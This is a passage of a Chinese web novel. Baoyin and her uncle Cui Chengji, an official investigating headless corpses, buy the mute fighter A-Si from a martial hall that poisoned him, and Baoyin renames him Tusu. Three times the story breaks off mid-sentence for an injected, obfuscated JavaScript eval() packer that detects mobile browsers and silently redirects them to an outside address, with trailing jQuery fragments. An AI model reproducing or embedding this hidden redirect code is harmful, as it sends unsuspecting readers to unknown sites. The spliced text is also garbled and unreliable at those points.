宝音皆应下来，又从枕边宝匣内取出一块银锭：“苏老先生，劳您再给贞杏诊诊脉。” 苏郎中接过银锭，去贞杏屋内替她诊脉，同样写下一张药方，一并交予榕度。榕度送苏郎中走后，立时差另一名侍卫去药铺买药。药买回来，榕度在天井内支了一座小小的煎药台，一壁煎宝音的药，一壁煎贞杏的药。不一会子，整个雀音阁皆是飘散不去的浓浓草药味。 宝音靠着引枕，百无聊赖地盯帐顶的三四只彩蝶。恍恍惚惚之间，这几只蝶儿似乎真的飞动起来，迎着春风，翩翩起舞。 月洞窗外飘来榕度的声音，宝音还来不及细听，屋门已被人打开，一阵夹杂着料峭春寒和黏腻血丝的冷风直直逼将而来，宝音不由紧了紧锦衾。 “二叔。”她支臂撑起身子。 “嗯。”那头低低地闷声。 崔承戟快步行至宝音跟前，将她按回床上，掖好被角：“还不睡？” “等二叔。”她瞥见崔承戟虎口的血污，心下一惊。 她期期艾艾地：“二叔……” 崔承戟大马金刀地靠进圈椅内，揉了揉眉心，倦声：“怎么了？” “您去见王蟠了吗？” 他猛然意识到自己刑讯后只顾着赶回来，却忘记清理血污，心下是更深的愧疚，但到底不愿骗她：“是。” 他决定给宝音讲讲崔家的一些规矩：“宝音，我并非好人，但永远是你的亲人。回京都后，你只需跟着教引嬷嬷学习礼仪规矩、琴棋书画，你应得的一切，我与父亲都会替你备好。我们的事，你不用管。别人说什么，你也不必放在心上。” 宝音掀开锦被，赤脚下床，小步行至崔承戟眼前。 清瘦稚嫩的小人儿，站直了也才与他坐着差不多高。她手里攥紧一方帕子，却小心翼翼执起崔承戟的手，轻轻擦拭那指甲盖儿大的血污。宝音的声音很轻，像来自远方的蓬莱仙岛：“宝音只是不想看到，二叔为了宝音而脏了手。” 崔承戟拂开她手：“弄脏了你的帕子。” 宝音唇角微微上翘：“脏了也好，我和二叔就是一样的了。” 通身的戾气顷刻间消弭，方才还紧绷着的脊背这会儿终于颓唐下来。夜色在他脸上投下一片阴影，他握住宝音执帕的手，像握住生命的稻草。 多少个漫漫长夜，他从大理寺诏狱孤身而回，满身是血。那些咒骂他的话、那些恨死他的人，常常如鬼魅般出现在只属于他的寂寂寒夜。 世人皆道他是无心阎罗，可无人知晓，在阿兄亡故之前，他也只是个喜欢跟在兄长身后、与兄长那尚在襁褓之中的女儿抢糖葫芦的少年。 救下宝音的那一夜，他终于梦见了多年未见的兄长： “承戟，放下吧，我已身死，所谓真相皆不重要了。你与宝音、父亲好好活下去，才是我最大的心愿。” 10. 斗武 宝音的手被二叔握得生疼，她受不住，嘤咛出声：“疼……” 思绪回笼，崔承戟遽然松手，垂眸见宝音的手已染绯霞。 小女娘急抽皓腕，转瞬却轻轻覆上崔承戟皱起的眉眼，替他抚平：“二叔方才伤神，在想什么？” “没什么。”崔承戟拦腰抱起宝音，将她轻置床榻，“伤又未好，就敢赤脚下床，再添病了该当如何？” 他抿唇，决定问出来：“今夜，是谁送你下山的？” 宝音微怔，她想起阿四离开时的嘱托，垂了眸子故意不去看二叔的眼睛：“我自己下山的。” “宝音。”他知道这是谎话，“榕平方才在青邙山发现三具无头尸体，有两个死在今天白日，最后一个——” 他顿了顿：“死在你下山之后。距离我发现你的位置，仅有百步之隔。” 宝音瞳孔震颤、双目瞪圆，不敢置信。 “所以，如果你记得送你下山那人的体型样貌，可告予我听。” 宝音抓住锦被上的鹅黄牡丹，咬唇：“他脖子上有道很长很长的疤，一直延伸至耳后。” “身量几何？” “比二叔矮半个头，约莫十五六岁的模样。” 崔承戟眸色渐黯：“好，睡吧。” “二叔要走了么？” “去把你说的线索告诉榕参，”他替宝音理好额前碎发，“而后，回来陪你。” 临近三更时分，他携卷宗而归，甫一推开门扉，便见纱帐内秋瞳灼灼，正巴巴儿地望着他。 妆台点一只残烛，烛影摇曳间，纱帐翻飞，宝音拥衾而坐，三千青丝垂顺泻下。 “怎么还不睡？”他将卷宗丢在妆台，坐于床沿。 “二叔不在，我睡不着。”宝音说得诚恳。 确实如此，她方才试过闭眼。可是一闭上眼，那两个绑架她与贞杏的男人就浮在眼前，举着绳子朝她靠近。她拼命甩头，好不容易将这两人甩走，王蟠偏偏又立在跟前，促狭笑着走近：“妹妹给我看看你腰间的印章。” 这句话却在崔承戟心中掀起另一阵风浪。 他不希望宝音太依赖他。 崔承戟蹙眉：“宝音，你总得学会一个人。我不会养育你一辈子，我的父亲，也就是你祖父，更不会养育你一辈子。你总得离开崔家，总得适应一个人的生活。” 宝音轻声：“是我太烦了吗？二叔，我可以不说话、什么都不干，只要二叔在我身边就行。” “我不可能，”他一字一顿，“一辈子在你身边。” 他想起阿兄的死状，想起他跪在阿兄尸体前立下的毒誓—— 为兄伸冤，替兄报仇，承戟万死不辞。 “待你出嫁之后，你便不是崔氏女了。” “待你出嫁之日，二叔会亲自为你绾发、背你上轿。” 待她出嫁之日，他也算了结了后顾之忧，可以心无旁骛地为兄报仇了。 “不会的、不会的。” 他忽觉袖角沉坠，低首见葱指缠住缁衣。 “宝音会永远在二叔身边，二叔去哪，宝音就跟去哪。二叔不需要在意宝音，宝音会自己跟着二叔的。” 在宝音的小小世界里，她对未来的打算，仅有亦步亦趋跟随二叔这一件。 “崔宝音。”他难得喊她大名，语气夹杂着薄薄的怒意。 “你是崔家女，合该同你父母一样，立身自持自强。而不是如现在这般，懦弱地连睡觉都要人陪。” 其实，他是甘心陪她的，甚至，他也希望有个人可以一直陪伴自己。哪怕宝音怯弱胆小，哪怕宝音自卑敏感，都无妨，他会护好她。就算日后他以身证道，死前他也一定会把宝音妥善安置。 可是，那太不公平了，若她是能飞入苍穹的苍鹰，他凭什么折断她的羽翼？若他那般做了，他又有何脸面去地下见阿兄阿嫂？ 宝音的手僵住，她慢慢垂下手，咬唇低眸：“对不住，二叔。” “你不必道歉！”他语气不耐。 “你没有对不起任何人，更没有对不起我。你只是需要提前习惯一件事，那就是，终有一天我会离开。” “所以，在那一天到来之前，宝音要学着离别，好吗？”他尽量温声，“学着离开二叔，学着独立。” 唯有这般，他才能心无旁骛地替兄复仇；唯有这般，宝音才不会卷入他亲手制造的漩涡。 宝音茫然地点点头。 她实在是不明白，明明她才刚回来，为什么二叔急着把她往外推呢？她有许多疑问和委屈，可她不敢说，她知道二叔是为她着想。她只是，有点舍不得他。 他是她唯一的亲人，是她的救命恩人，是她于这世间所有联系的纽带。 崔承戟不知道的是，宝音已将他看得和生命一样重要。 * 次日午后，宝音正倚着靠枕喝那黑褐色的苦药。 崔承戟一身官服，阔步而来。见宝音正用药，从荷包中取出一颗桂花糖，递到宝音唇边：“张嘴。”宝音依言，桂花糖便被喂了进去。 “待会儿换套衣服，同我出去。”他大马金刀地坐在圈椅内。 整个上午都在验尸，他倦乏得很。崔承戟屈指为枕，却见宝音捧着见了底的药碗，眉眼弯弯地望着他。 “怎么了？” 小姑娘没说话，而是把桂花糖抵到颊边，鼓了半只腮帮子，扬起大大的笑。 崔承戟忽觉一上午的倦乏顷刻间消散，不由温声道：“甜吗？” “嗯！”宝音用力点头。 马车内，宝音正仔细系着梅花纹腰带。 贞杏因那日跑出青邙山，两脚磨出血泡，宝音就让她歇在自己屋里养伤了，故而今天这套衣服，全是宝音自己换的，今天的发髻，也是宝音自己梳好的。 见她系了又解、解了又系，崔承戟屈指勾了腰带：“怎么了？” “总系不好看。”宝音嘟囔着。 崔承戟轻笑，两指缠住腰带，相对一勾，就打出个极漂亮的蝴蝶结。宝音惊喜望他：“好漂亮！怎么我就打不出这样的蝴蝶结？” 崔承戟同她招手：“你过来。” 宝音依言过去。 他坐在她身后，玄色官袍笼住宝音，他自后环握她手，再次解开腰带，引玉指勾缠丝绦，他耐心教她如屈指缠住腰带，如何相对勾出结法，轻声如叹：“这样，关窍在这里，看明白了吗？” 宝音靠在他怀里，眸子亮晶晶地看二叔握自己的手，唔声：“嗯，大概懂了。” 她不想那么快就离开二叔怀抱，立刻追上话：“二叔，昨天那个……怎么样了？” 怀中人猝然回首，云鬓堪堪擦过他喉。 崔承戟知她是问无头尸的事，轻咳：“他不是救你的那个人。”他不动声色地躲开喉结处的痒意。 宝音悬着的心终是落下。 “那是谁？” “还在查。”崔承戟渐渐锁了眉心，“不过，前两个死者，确乎是你所说的，绑架你和贞杏的人。” 一想到那两个人，宝音还是有些后怕。 那两条捏死宝音和贞杏如同捏死蚂蚁的结实汉子，就这么悄无声息地死在青邙山下。他们是什么时候死的？又是什么人杀死的？生命的无序让宝音感到一阵惊怖，她又想起第三位死者，忙问：“那第三个人，是谁？” “暂不知晓。府衙已贴出告示，目前无人来认领尸身。” “二叔，”她拽了拽崔承戟的袖口，“你说那人死在你救我之后，死在距离我们只有百余步的地方，他会不会看见了我？会不会一直跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279628|166773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着我下山？会不会是被山贼杀死的？阿四会不会有危险？” 昨夜睡前，宝音已将在山上的所见所闻悉数告诉他，包括白骨洞，包括私钱串，当然也包括阿四，和他离别前的嘱托。她求崔承戟不要追问阿四，更不要去寻阿四。崔承戟不解：“找到他，或许能解开许多谜团。”宝音却摇头：“二叔，我答应了他，不把他的事告诉别人。可是我现在已告诉了你，已经违背诺言，实在是对不住他。若再让他知道，我会愧死的。”崔承戟同意了。 崔承戟只挑了最后一个回答：“他若有危险，榕平必定发现他的尸身了。” 他眯了眼睛：“山贼，倒有可能。不过，却不知是真山贼还是假山贼了。” “假山贼？”宝音不明白。 车帘外传来榕参的声音：“大人，小姐，英道馆到了。” 马车稳稳当当停在英道馆前。候在馆门前的小厮忙拥上来，哈腰作揖：“大人里面请。” 崔承戟将宝音抱下踏板，牵住她手，低声：“待会儿，跟紧二叔。” 宝音点点头，转而去看英道馆的匾额，老榆木的木料，质硬纹清，其上三个漆金行草大字“英道馆”。候在匾额下的一对儿小厮皆是高大威武，麻布衣衫被撑起，隐隐露出结实肌肉。宝音不由紧了紧崔承戟的手。 随小厮入内，但见其内陈设质朴，墙壁上有许多匾额，如“经文纬武”“文武之道”。众人走进二门，绕过武松打虎影壁，眼前豁然开朗—— 正圆形的戏台，周遭伫着一圈铁制栏杆。戏台外围，有三层雅座，依级向上。整个屋内光线昏暗，唯戏台正上方堪堪露出几道光影，直直照下。 此刻已零星有看客入座。 崔承戟丢了个大元宝在小厮怀内，那小厮乐呵呵告了个喏，立时将叔侄俩带到最高层设了雅间的座位处。 不一会子，便有人上茶水、端果品。 宝音小声问：“是听戏么？” “不。”崔承戟抿了口茶，“是斗武。” “斗武？” “放心。”茶盖轻碰盏壁，清脆有声，“不会有性命之忧，至多受些皮肉伤。” 宝音心中震颤，只见台上已站着位五旬开外的青衫武师，声若洪钟震荡厅堂：“诸位看官！今日英道馆以武会友，承蒙四海豪杰赏光，某在此抱拳行礼了！”言罢，此人双掌相击发出金铁之音：“鸣钟三响，开兵刃架！请南北八位擂主——亮势！” “擂主？”宝音皱眉。 崔承戟眯了眼：“不过是他自家养的武师，会些武艺，弄了个打擂台的名头罢了。” 霎时间钟鸣鼓响、金钹震耳，好不热闹。台侧涌上高矮胖瘦八位武师，赤膊上阵，齐齐列了一排，烛龙火把照见肌肤汗光粼粼。 宝音虽看得不甚分明，但见这些人皆精光着上身，忙错开眸子，侧过脸。黑暗中，正巧撞上崔承戟促狭含笑的黑瞳。宝音有些气恼：“二叔，你带我来看的这个，算什么？” 崔承戟伸出左手，覆上宝音眉眼，正好遮住她的视线。 “非礼勿视，小宝音。” 宝音未言，只气鼓鼓地转过去，眼前被二叔的手掌挡着，她什么都看不见。倒是二叔掌心的手纹，和夹在两条深长纹路之间的一颗掌心痣，明明晃晃在她眼前，勾了她的心思。 崔承戟正好整以暇地欣赏台下八名武师套上带有各自编号的布衣，掌心酥酥的痒意密密麻麻传来。 宝音浓长的睫毛轻轻刮蹭着他的掌心，此刻正伸出粉圆的食指指腹松松贴上那颗小痣，她含笑转过头：“二叔，你掌心有颗痣呢！” 他忽然有种隐私被小孩子发现的尴尬羞耻，耳廓噌的泛红。 宝音却没注意，低下头看自己干净的两只手掌，喃喃道：“……我手心什么都没有。” 11. 买卖 诸位武师拳伕皆换上带有各自编号的布衣后，崔承戟才收回手，微扬下巴，目向台上：“仔细看。” 宝音依言看过去，从一到八，共八位武师列成一排，面朝台下作揖。 因间隔太远，这些人面目不清，只大概能看个轮廓。不过，他们皆垂头而立，眉眼低顺，像认了命的苦命人，毫无武师拳伕的精神气。 比试共分七轮，才决出最后胜者。 比前崔承戟押宝的五号武师，毫无疑问拔得头筹。他身高体阔，力大无比，单论力量便胜过其余所有人。其中最惨的数八号武师，他中等个子，身材精瘦，与七号比试胜出后的第二轮，即对上五号。不出三回合，他便被五号死死压在地上。最后一次被五号甩出去时，八号骨骼撞上铁制栏杆的声音响彻整个武馆，宝音倒吸一口凉气，蹙紧眉心扭过头不敢去看。 崔承戟冷眼看五号一路披荆斩棘，侧过脸：“宝音，五号如何？” 宝音懵懂望他。 “什么？” 他屈指为枕：“做你的护卫。” 宝音心中一惊，又想起五号将八号甩飞出去的情形，忙摇头：“不是有榕度吗？” 崔承戟阖眸：“榕度擅验尸辨毒，他跟着你，那些尸体只能由我来验。” 他微微蹙眉：“麻烦得很。” 宝音心想二叔领少卿之职，既要查案追踪，又要与靖州官员世家周旋，如今再添上验尸、刑讯等事，确实麻烦。她又望向台上脸颊堆满横肉的五号武师，他看起来跟二叔差不多高，体格却有两个二叔那么大，宝音不禁暗暗咽了下口水，小声：“二叔把我也带上，榕度就能验尸了。” 崔承戟拒得干脆利落：“那地方你不该去。” 他眯眼看五号：“就他吧。” “等等二叔！”宝音抿唇，“我看其他几位武师也是武艺高超，不若等比试完了再来选。这个五号武艺虽好，可体格阔大，十分笨重，且看上去凶神恶煞的，我……我害怕。” 她小心翼翼攀上崔承戟搁在几上的手臂，蹙眉：“像绑我和贞杏的那俩人。” 听了此话，崔承戟自然应允：“这最后一轮与五号比试的二号，也是不错。” 宝音虽抿唇看台上战况，心中却起的是另一阵风浪：连榕度也要调走了，牵着她与二叔的游丝又断了一根。她该如何再靠近二叔？ 她带着这份怅惘看完了最后一场比试，观众席爆出喝彩掌声，唯有宝音与二叔这间雅座静悄悄的。 “二号如何？”崔承戟指尖轻扣瓷盏，“那三号也是不错。宝音，你意下如何？” 猝然被人点到名，思绪瞬间回笼，宝音怔然：“我还是更喜欢榕度……”她声音越来越小。 崔承戟蹙眉，抬手唤来小厮，耳语几曦。小厮点头哈腰地退下，不一会子，便领台上八人鱼贯而入。 小厮躬身：“大人，您要的打手。” 高矮胖瘦八名打手一字排开，皆穿同样形制的麻布衣衫，皆汗光津津，皆垂头而立，脚上不知何时皆锁上铁链。 宝音一怔，双瞳惊颤。站在最角落的、嘴角还残着血痕的八号武师，不是别人，正是阿四！ 崔承戟冷眸瞥过这八个人，只在五号身上略停留一息。他侧过脸：“想要哪个？” 转眸却见宝音凝如玉雕，双目瞪圆，死死锁住最末那道清瘦身影——八号。他顺宝音目光看去，那八号脖颈处旧疤如毒蛇吐信般赫然出现，直直延伸至耳后。 原来，这就是救宝音的那人。 崔承戟弯了唇角，他因宝音的承诺不曾寻找此人，没想到竟能在此地遇见。当真是巧。 宝音攥住崔承戟的衣角：“二叔……”葱指轻轻一点，指向最角落的八号。 只这一句“二叔”，阿四浑身如触雷电，遽然抬眸，惶惶对上宝音的一对水晶眸子。 武馆小厮忙赔笑：“此子身世干净，出手利落。虽说年纪小些，但想必与崔小姐更合得来。” 崔承戟思量一瞬，忽将茶盏重扣：“都介绍一遍。” 小厮哈腰：“是。” “一号，靖州人，家有七旬祖母，再无其他家人。轻功了得，尤擅使暗器。” “二号，天杭人，家有兄弟姊妹四人，父母俱亡。擅使柳叶刀。” …… “八号，密州人，父母俱亡，孤身一人。擅使白蜡钩镰枪。” 等小厮介绍完毕，宝音忙追上话：“二叔，八号是密州人，父母俱亡。我也是。” 崔承戟不答，只屈指扣几案，碰撞之音惊得雅间内阒静无音，只剩下宝音如鼓心跳。小厮看出来崔承戟不大喜欢这个八号，忙介绍起二号和三号。 “大人，这二号和三号也是极好……” 崔承戟摆手：“小姑娘选中八号，就他吧。” 他明知故问：“叫什么？” 阿四还愣着，小厮忙踢了他一脚，阿四后膝受力，双腿一软，扑通跪下，抻得踝间铁链铮铮作响。 小厮告喏：“是个哑子，叫阿四，大人莫见怪。” “哑子？”宝音噌得起身，语气急切，“怎么可能！” 小厮拍拍手，示意其余打手退下。等到雅间内只剩下崔承戟、宝音、他和阿四时，小厮赔笑：“虽是个哑子，但心眼儿实诚。而况这些身上有个残疾啊病啊的，只要调.教好了，比健全的更忠心呢。” “不可能……”宝音正要上前，突觉手腕沉坠，她一下子被拉进二叔怀里，阔大袍袖笼住她身躯。 崔承戟扶住她，拂袖起身，声冷如冰：“哑的？” 小厮躬身近前：“是。” 玉骨扇抵住小厮咽喉，勾唇笑：“昨儿还哼着靖州小调上青邙山的嗓子，怎么今儿就锈了？” 小厮冷汗涔涔，踉跄后退半步。 崔承戟垂眸看跪地之人：“身契几钱？” “五、五十两金。” 崔承戟自袖中取出一张飞钱，压在几案上。他轻捏宝音手背，温声：“乖，坐回去。” 行至阿四面前，玄色袍角拂过地面，阿四跪地只见崔承戟靴头银线暗纹。 他蹲身与阿四视线平齐。 阿四忙躲开眼神。 崔承戟蹙眉：“就是这脖子上的疤，只怕吓了我家孩子。” “几岁学武？” “七岁来的。”小厮忙道。 “父母如何死的？” “据说是七年前密州城破，死在蛮军马蹄下。” “哦。”崔承戟冷笑，屈指挑起阿四下巴：“是吗？阿四。” 阿四浑身颤抖，闻言忙点头。 “好。”崔承戟霍然起身，指案上飞钱，“领了银票下去，取他身契过来。顺道将你家掌柜请来。” 小厮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279629|166773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挑了一角眼皮，小心试探问：“不知大人请我家掌柜，所为何事？” 崔承戟含笑：“本官查案，还需通禀于你？” 小厮捧了飞钱银票，惶惶瑟瑟离开此间。崔承戟着人唤来在外伺候的榕参、榕度，对榕度：“送小姐去马车上候着。这个阿四，领他去卸了铁链，换件干净衣裳。”榕参则随崔承戟一起留在雅间。 出英道馆后，榕度扶宝音坐上马车，又唤了另一个护卫领阿四更衣。 宝音坐于车内，双手绞着帕子，心中甚不平静。榕度立于车帘外，恭谨道：“宝音小姐，那小子换好衣裳了，要唤他过来么？” “要！”宝音迅速答道。 阿四由人领来，垂首立在马车踏板前。宝音掀了帘子：“阿四，你上来。” 榕度抬手拦住：“小姐，这不合规矩。” 宝音只好提着裙裾，坐到踏板上，急得要哭：“你怎么了？怎么会哑呢？昨儿你不是还好好的吗？” 阿四只低着头，不作答。 “说话呀你。” 见宝音着急，榕度抬腕提剑，刀鞘顷刻间抵住阿四下颚，迫他抬头。 阿四眼中已蓄满泪珠。 他张了张嘴，却只能发出“啊啊——”的怪叫，终是不甘心地又垂下头。 宝音从车内取出一叠纸，特特研墨，狼毫蘸饱墨汁，宝音递到阿四面前。 阿四摇摇头。他不识字。 宝音把狼毫塞进他手中：“画出来。你画给我看。” 阿四不曾认过字，自然连握笔也不会。他满手攥住狼毫，颤颤抖抖地画下昨夜所见一切。 虽然线条粗陋，但不难看出是一具无头尸。阿四指着尸体，“啊啊”地似乎要表达什么。 “你认得他？” “啊啊。” “他在你面前死的？” “啊啊。” “阿大？！” “啊！” 阿四迅速翻开下一张纸，画出一个四四方方的形状，中间点满无数小点。 宝音横看竖看，看不明白。 阿四一壁指这幅画，一壁指自己的嗓子。 榕度也凑过来瞧：“像纸包着粉末似的。” 阿四用力点头，他忙转身，神色激动地指“英道馆”匾额，眼中泪水尽数流下。 榕度：“英道馆毒哑你的？” 阿四爆出哭声，他拼命点头，像突然疯癫的人那样，涕泗横流。 昨夜，阿四受贞杏所托前往青邙山山洞救宝音下山，因英道馆不许拳伕武师在黄昏后离开武馆，阿四便在黄昏点卯后，悄悄离开，并拜托阿大为其掩护。 阿大担忧阿四安危，悄悄返回，却被山贼发现，被误以为侵占山贼领地，惨遭杀害。阿四逃回，请英道馆掌柜前去救人，却被毒哑，迫他保密。 宝音：“阿大是英道馆的人，为何英道馆对他不管不顾？” 阿四摇头。 “那伙山贼到底是什么人？” 阿四又摇头。 榕度思索道：“青邙山位置偏僻，周遭只有一座青邙山，人口稀疏，也无官道不便打劫，他们何故占那座山头？” 阿四再摇头。 宝音：“阿四，昨日青邙山还有两个死者，同阿大死状一样，你知道吗？” 阿四再再摇头，遽然抬头，用力点头。 12. 屠苏 雀音阁天井内，药香袅袅。榕度和贞杏持小扇，坐于药台后，二人额角皆是薄汗淋漓。 崔承戟坐于黄花梨圈椅内，两指夹阿四身契慢慢揉捻，他声音辨不明情绪：“你，还不配保护宝音。” 宝音从一旁绣墩上霍然抬眸，略带愠色：“二叔，阿四救过我时——” “那也不配。” 话落，檐角铜铃骤响，崔承戟袍袖忽振，身疾如风，拳似流星直取阿四面门。阿四后撤半步，但见连环三击如白鹤掠水，急退间堪堪躲避这第一套拳，冷不防第四式展翅生生拍中脊背后心。 少年踉跄扑跪在地，喉间甜腥翻涌，阿四喷出一口鲜血，顷刻洇脏了织锦地毯。 “白鹤掠水尚欠三分形意，展翅更无半点杀伐气。若非念你救下宝音的情分……”崔承戟并指收势，负手而立，“自明日起，每日卯正二刻随榕度练功。一月之内，若炼不出把快刀——” 尾音消于窗外惊鹊展翅声中：“崔府容不得蠢材。” 宝音起身欲扶阿四：“二叔，阿四身上有伤，又猝然被人毒哑嗓子，不若等他养好伤再练功。” 阿四不动声色地推开宝音，挣扎着伏在地上，以额叩地。额头触地的一瞬，唇边血滴随眼角泪滴一齐滑落，洇入织锦地毯，消失无踪，眼前只剩下山贼刀光剑影，和英道馆迫他喝下的那碗苦药。 他要报仇。为阿大，也为自己。 英道馆是他的敌人，那伙山贼亦是。 除了崔承戟，他再想不到更好的助力。若能助崔承戟得势，或许师傅的仇，他也能亲手报得。 阿四抬手，薄茧指腹抹去唇边朱红血渍。 药成之时日已西斜，崔承戟早返一品堂，将今日英道馆所得蛛丝马迹尽录卷宗。 雀音阁内，博山炉吐出一团乳白雾气。苏郎中三指悬脉，阖目凝息：“老夫观阿四小郎君的脉象，虽年少根基尚固，暂未动及性命根本。然观小郎君筋骨脉络，已损先天元气，想必是昔年旧伤未愈，更添新伤。而况今日这番斗武更是引动内息紊乱，五脏间隐有血络凝滞之象。” 苏郎中捻须长叹：“老夫且书一剂九转回春散，小郎君需每日卯酉二时以三碗泉水文火煎至一盏，佐以三钱春露送服。”说罢，苏郎中提腕书写，写毕之后，又自药箱中取一只橙黄药瓶，道：“此乃金疮药，凡刀刃所伤、肌肤绽裂之症，此药皆可平复瘢痕，使创处复归如初。小郎君只需在伤口处每日寅、申二时各涂抹一次。” 宝音忙请苏郎中诊治阿四的哑病：“苏老先生，他昨夜遭歹人毒哑，能治否？” 苏郎中问：“何种哑药所致？” 阿四摇摇头。 榕度抱臂立于一旁，出声：“忘言散、锁喉蛊、断声草，总归绕不开这三个。” 苏郎中捻须言：“断声草无解药，人服用过后即彻底失声。忘言散和锁喉蛊倒有一线医治可能，只是这两种哑药的解药药性相冲，且极难寻得。若贸然开出解药，就算能凑齐所有草药，只怕不对症，反而对小郎君的哑病更为不利。” 榕度问阿四：“你当时服用哑药之后，可有异样？” 阿四双手扣住喉咙，露出极痛苦的模样。 “喉咙灼痛？” 阿四点头。 苏郎中再问：“可有咳血症状？” 阿四又点头。 苏郎中与榕度异口同声：“不是断声草。” 那便只剩下忘言散、锁喉蛊两种。虽说大致确认阿四所中之毒，但苏郎中与榕度皆不敢擅自用药，只怕彻底毁了阿四的嗓子。如今唯一办法，唯有去英道馆求得解药。 送走苏郎中后，榕度领阿四去他卧房——东厢房。 推开木门，但见青砖墁地，白墙面映着竹帘筛进来的碎金。榆木八角桌并两张官帽椅虽是旧年所置，但俱用桐油新漆过，一张椅上松松搭了一条布巾子，一张椅上靠着一柄软剑。 阿四环视四周，又见东墙悬一幅武状元擒虎图，西壁挂一张彩绘云纹牛角弓。硬木床上靛蓝粗布被褥叠得方正，枕畔搁着松墨写就的仵作簿，记录着近日靖州验尸所得。 榕度取过包袱，搁在床榻上：“宝音小姐的贴身护卫，自今日起，只你一个，故此这间东厢房就你一人居住。对面西厢房是贞杏居住，正屋和两间耳房皆为宝音小姐所用，若无大人和小姐应允，不得乱闯。两侧门房住的是大人配给小姐的另两个护卫，分别叫鱼应、鱼泉。” 阿四困惑抬眸。 榕度知他疑问，解释道：“鱼应、鱼泉皆为大人私卫，大人另有所用，不可能长久护在宝音小姐身边，而况大人是小姐叔父，大人也不想让一品堂和雀音阁乱了规矩秩序。在新的护卫来之前，鱼应和鱼泉只是暂领护卫小姐之职。所以，整个雀音阁，只有你和贞杏是真正记在小姐名下的，明白了吗？” 阿四点点头。 宝音和贞杏站于门槛上，含笑望着他们。宝音二人各抱一床簇新被褥，织云绣花的料子，正是闺阁女儿最爱用的。 贞杏率先笑道：“阿四，你没有被褥，这床被褥还是榕度的。今夜，你先用这个吧。”她将怀中被褥搁在床上。 宝音亦走近：“榕度，今晚你就回一品堂了吗？” 榕度点头：“是。” 宝音将自己怀中被褥塞到榕度怀里：“贞杏抱的那床给阿四，这床给你。这两日，多谢你在雀音阁照看我们。” 榕度正要谢绝：“属下已有——” 宝音故意打断他：“你若不要，我就只能亲自送到一品堂了。” 榕度只能接过，垂头道谢。 见榕度接过，宝音眉眼弯弯，这是她的小心思，这样好面料的撒花被褥，榕度若带回去，必定惹榕参、榕平他们羡慕。若是能让二叔看到，或许他会来怪她怎么只送给榕度，那样她就能同二叔多说几句话了。 她想心事之际，贞杏已卷好榕度的靛蓝棉被，将给阿四的撒花被褥铺展好，她絮絮说道：“阿四、阿四，四这个字总是不好。像合了个‘死’字在里头，听得人心里怪不舒服的。” 一番话触到阿四心事，他抿唇垂头，双手攥紧衣角。 宝音见他闷闷的样子，知是这个“死”字触到他父母、师傅以及阿大的亡故，正为身世神伤。她上前拍贞杏手臂，佯作愠色：“阿四名字是他师傅给他取的，你这样说，不是惹他伤心？” 榕度略思索：“贞杏所言也有理。总归阿四是劫后余生，不若改个好名字，也算换换运道。” 宝音犹豫，她转眸看阿四，却见他已抬眸，热切地望着她。 他不喜欢这个名字。阿四，低贱、随意，像被人推来搡去的抹布一样，用时就拿起来，不用了就丢开手。他希望自己有一个好名字，像榕度、贞杏、鱼应、鱼泉这样，顺口的音，漂亮的寓意，任何人读完他的名字，都唇齿留香。 “可以吗？”宝音问。 阿四点头，双拳垂在身侧，悄然握紧。 他希望宝音给他一个新的名字，一个足够寓意他逃离英道馆、逃离过往一切苦难的名字，一个足够寓意他从今以后新生的名字。 宝音思索一瞬，脱口而出：“屠苏。这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279630|166773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个名字好不好？” 榕度眉心略蹙：“屠苏酒？” 宝音点头，拊掌而笑：“屠苏酒，有驱邪避灾、平安顺遂之意，禳旧日之灾厄，承四时之清气。从今以后，阿四一定平平安安、顺顺遂遂的，再无需栉风沐雨，再不惧霜刃加身。阿四，这个名字可好？” 阿四眉目舒朗，听宝音唇齿间“禳灾解厄、四时清吉”的八字真言宛若珠玉流转，温暖和煦如仲春之风。 驱邪避灾、平安顺遂。他在心底默念这八字，唇瓣微微颤动，阿四忽觉世间种种万般可爱。 * 乌金西坠之时，崔承戟录完卷宗，携榕参前往青邙山附近的青邙村，暗中察访无头尸的生前身份。 他二人乔装打扮，装作靖州城中收草药的药贩子，趁夜色混入青邙村中，硬是亏本收了一大篓草药，才堪堪取得青邙村村民信任，得知村中走失一对兄弟。 据村民所言，这对兄弟父母早亡，家道艰难，二人从小相依为命。五年前，年长的阿兄，名唤王三吉的，无意间寻得一门极好的活计，每月可赚得二十文钱。王三吉做了两个月后，见此差事安稳可靠，就将他弟弟王四吉引荐过去。 “什么差事？”榕参急急问。 那白发老妇眼睛一轮，审慎地上下打量榕参。 